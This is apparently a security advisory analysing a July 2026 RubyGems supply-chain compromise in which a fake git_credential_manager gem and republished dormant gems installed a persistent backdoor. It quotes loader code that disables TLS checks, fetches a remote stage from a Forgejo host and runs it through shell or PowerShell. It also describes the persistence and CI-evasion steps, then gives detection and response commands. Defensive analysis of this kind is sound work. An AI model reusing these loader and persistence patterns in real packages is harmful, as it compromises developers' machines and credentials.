critical

CVE

Not assigned

CWE

CWE-506, CWE-494, CWE-295

Affected Surface

  • `git_credential_manager` RubyGem versions `2.8.0`, `2.8.1`, `2.8.2`, and `2.8.3`
  • `Dendreo` versions `1.1.3` and `1.1.4`, plus `fastlane-plugin-run_tests_firebase_testlab@0.3.2`, which were republished to pull the malicious credential-manager dependency into existing bundles
  • Developer workstations that installed or loaded the affected gems through Bundler, Fastlane, or ad hoc Ruby execution paths between 18 and 19 July 2026
  • Linux hosts where the dropped payload could persist through `systemd --user`, cron, and an attempted setuid backdoor at `/usr/local/sbin/ping6`; Windows hosts were also targeted by the stage-one PowerShell path

The most important package-registry story from the last 72 hours is not in npm or PyPI this time. It is RubyGems finally getting the same style of dormant-account, trusted-package, developer-workstation compromise that JavaScript and Python teams have been dealing with for more than a year.

Between 18 and 19 July 2026, attackers published four malicious versions of a new git_credential_manager gem and then used that gem as a dependency graft inside two long-dormant projects: Dendreo and fastlane-plugin-run_tests_firebase_testlab. Public reporting from Aikido and StepSecurity lines up on the important mechanics:

  1. the new gem impersonated the real Git Credential Manager brand
  2. the first-stage Ruby code disabled TLS verification and fetched remote payloads from a public Forgejo host
  3. the attacker iterated from a noisier install path into a require-time path in 2.8.2 and 2.8.3
  4. the downloaded stage persisted on developer machines and attempted local privilege escalation

This is not just a “malicious gem existed” story. It is a useful case study in how attackers are now treating dormant package ownership itself as the initial access vector.

Publicly confirmed affected package set

The malicious set publicly confirmed on 19 July is:

PackageMalicious versionsWhy it matters
git_credential_manager2.8.0, 2.8.1, 2.8.2, 2.8.3Primary loader family; new gem created to look like a legitimate Git helper
Dendreo1.1.3, 1.1.4Dormant RubyGem republished after years of inactivity with the malicious dependency added
fastlane-plugin-run_tests_firebase_testlab0.3.2Long-dormant Fastlane plugin republished with the same dependency chain; StepSecurity reports roughly 574,661 total downloads for the plugin family

The registry pages themselves already show the anomaly pattern defenders should train on:

  • git_credential_manager@2.8.3 was pushed on 19 July 2026 and then yanked by rubygems-security-team
  • Dendreo@1.1.4 appeared on 18 July 2026 after the previous public line stopped at 1.1.2 in 2020
  • fastlane-plugin-run_tests_firebase_testlab@0.3.2 appeared on 19 July 2026 after 0.3.1 in 2019

That publish chronology matters because it shows the compromise was not limited to one obviously fake new package. The attacker used a fresh lure package as the payload carrier, then republished older trusted gems to pull that package into existing Bundler dependency trees.

The git_credential_manager name was structurally suspicious

The real Git Credential Manager project already exists as git-ecosystem/git-credential-manager, a .NET credential helper distributed through its normal project release channels. Its documentation expects Git configuration such as:

git config --global credential.helper manager

That is not how legitimate Ruby helper gems are normally introduced into the ecosystem. The RubyGems package name re-used the exact product branding of a widely trusted Git authentication tool, which made the malicious release line look plausible in dashboards and package feeds even before anyone read the code.

That branding collision also helped the attacker pick believable version numbers. Aikido notes that the gem published four versions in quick succession, which is consistent with an operator testing and then refining the delivery path while trying to stay visually close to a real upstream product cadence.

What the stage-one Ruby code did

Aikido published the most useful first-stage code excerpts. The loader hard-coded a Forgejo-hosted base URL and explicitly disabled TLS certificate verification before downloading the next stage:

def base_url
  "https://git.disroot.org/git-ecosystem/#{product}/raw/branch/main"
end
http.verify_mode = OpenSSL::SSL::VERIFY_NONE

Execution then pivoted directly into shell or PowerShell rather than staying inside normal gem behavior:

if goos == "windows"
  Process.spawn("powershell -ExecutionPolicy bypass \"#{full_path}\"")
else
  Process.spawn("/bin/sh \"#{full_path}\"")
end

That combination should immediately stand out to AppSec teams reviewing package diffs:

  • a gem whose job is not software installation is downloading remote binaries
  • HTTPS certificate validation is deliberately turned off
  • the fetched artifact is launched with /bin/sh or PowerShell
  • the host is a public Forgejo instance chosen to look ecosystem-adjacent rather than a project-controlled release endpoint

This is the same design pattern we have seen in earlier npm and PyPI incidents: keep the registry artifact small, keep the heavy payload off-registry until runtime, and make the package responsible only for fetching and starting the next stage.

The attacker iterated the loader over four versions

The most interesting detail in Aikido’s analysis is that the operator appears to have built the infection chain in public over roughly nine hours:

2.8.0  initial working dropper
2.8.1  same dropper, but Unix output redirected to /dev/null
2.8.2  install path wired into the gem load path, but final script execution commented out
2.8.3  same path, with the execution line re-enabled

That evolution matters for defenders because it shows the attacker was not just dumping one malicious tarball. They were actively tuning:

  1. noise reduction in 2.8.1, where Unix output was silenced
  2. execution reach in 2.8.2, where the loader moved closer to a require() path
  3. live detonation in 2.8.3, where the staged chain became active again

In other words, the story is not only “RubyGems got malware.” The story is that the attacker converged on the same lesson that recent npm operators learned: if a package can trigger during normal library load, it bypasses the still-common assumption that only install-time hooks are dangerous.

require() became the meaningful trust boundary

Aikido reports that git_credential_manager version 2.8.2 changed the architecture so that loading the library was enough to run the installer path, and that 2.8.3 turned the staged path live again. StepSecurity then validated that for later versions the chain could be reached from a normal Ruby require path rather than needing an explicit CLI-like invocation.

That is the critical AppSec lesson. Many organizations are better at watching:

  • extconf.rb
  • gem native build steps
  • post-install messages
  • obvious curl | sh shell hooks

They are weaker at treating top-level Ruby code in a transitive dependency as an execution boundary in its own right.

In practical terms, the dangerous transition looked like this:

bundle install / bundle update
-> affected gem lands in the dependency graph
-> application, Fastlane plugin, or Ruby script requires the gem
-> child Ruby process runs bundled installer logic
-> installer fetches deploy.sh and a native payload
-> payload persists outside the gem directory

That shape puts SleeperGem closer to the recent AsyncAPI compromise and jscrambler incident than to a one-shot install hook. The real damage boundary is library load inside a trusted developer environment.

The second stage deliberately preferred developer machines over CI

StepSecurity’s runtime analysis adds the part defenders cannot get from package metadata alone. Before doing anything destructive, the malware checked for around thirty CI-related environment variables and exited if it believed it was running inside GitHub Actions, GitLab CI, CircleCI, Jenkins, Vercel, or similar systems.

That evasion choice is important:

  • it cuts down on noisy detonation inside security-monitored build pipelines
  • it biases the infection toward long-lived developer workstations
  • it makes simple CI-only validation look deceptively clean

This is not theoretical. StepSecurity had to strip CI environment markers in order to force the chain to execute under observation. That means “our CI build looked fine” is weak evidence here. The malware was designed to make that outcome likely.

What the runtime kill chain did on Linux

StepSecurity captured the later-stage Linux process tree in order. Collapsed to its essential flow, it looked like:

ruby .../git_credential_manager-2.8.3/bin/install
-> /bin/sh .../package/deploy.sh
-> cp package/git-credential-manager $HOME/.local/share/gcm/git-credential-manager
-> chmod +x $HOME/.local/share/gcm/git-credential-manager
-> $HOME/.local/share/gcm/git-credential-manager --daemon
-> install systemd user persistence
-> systemctl --user daemon-reload
-> install cron persistence
-> probe sudo/wheel group membership

StepSecurity also reports the privilege-escalation branch that tries to plant a setuid root shell at:

/usr/local/sbin/ping6

Two implementation details are especially important:

  1. the dropped daemon moved out of the gem directory into ~/.local/share/gcm/, which means simple gem removal is not enough
  2. persistence was installed redundantly through both systemd --user and cron, which is a sign of an operator expecting partial cleanup

This is why the right response model is host compromise, not package hygiene.

Dependency grafting is what made the campaign scale

The brand-new git_credential_manager gem by itself was already malicious, but the more dangerous move was adding it as a dependency to trusted dormant packages.

Public reporting agrees on two fan-out paths:

  • Dendreo gained the malicious dependency in versions 1.1.3 and 1.1.4
  • fastlane-plugin-run_tests_firebase_testlab@0.3.2 did the same after years without releases

That means a team did not need to consciously install the suspicious new gem name. They could arrive at the same loader indirectly by refreshing a long-stable bundle that already trusted one of the dormant projects.

From a software-supply-chain perspective, that is the pattern to remember:

fresh lure package
-> compromise or hijack dormant maintainer account
-> republish legacy package
-> add malicious dependency
-> let existing consumers pull the payload transitively

RubyGems has seen malicious packages before, but this specific dormant-account-plus-transitive-fan-out pattern is exactly the kind of playbook that became common in npm and PyPI and is now plainly portable to other ecosystems.

Detection and scoping

Start with exact version hunting in lockfiles and local gem inventories:

rg -n 'git_credential_manager \((2\.8\.[0-3])\)|Dendreo \(1\.1\.[34]\)|fastlane-plugin-run_tests_firebase_testlab \(0\.3\.2\)' \
  Gemfile.lock .

gem list | rg 'git_credential_manager|Dendreo|fastlane-plugin-run_tests_firebase_testlab'

Then hunt for the post-load artifacts that indicate real host compromise:

rg -n 'git\.disroot\.org|git-ecosystem|git-credential-manager' \
  "$HOME/.local/share" "$HOME/.config/systemd/user" "$HOME" .
ls -l "$HOME/.local/share/gcm"
ls -l /usr/local/sbin/ping6

Check for the persistence paths StepSecurity described:

systemctl --user list-unit-files | rg 'git-credential-manager'
crontab -l | rg 'git-credential-manager|\.local/share/gcm'

Because the loader intentionally suppresses itself in many CI environments, also review developer endpoint telemetry rather than relying only on CI logs.

Response guidance

If any affected version was installed or loaded on a developer machine:

  1. treat the machine as compromised
  2. remove ~/.local/share/gcm/, the matching user service, and any cron persistence
  3. inspect /usr/local/sbin/ping6 and remove it if it is not the legitimate system binary
  4. rotate Git credentials, SSH keys, cloud credentials, browser-backed session material, and any secrets reachable from the infected host
  5. pin affected bundles back to known-good versions and invalidate local gem caches

The most important lesson from SleeperGem is not Ruby-specific. It is that dormant package ownership is now an attack surface, and that once a transitive dependency can run code during normal library load, the gap between “dependency update” and “persistent workstation foothold” becomes very small.

From research to remediation

Check whether this pattern exists in your codebase

Turn this research into a remediation workflow. Scan dependencies and package manifests for similar supply-chain risk, then prioritize fixes with reachability context.

References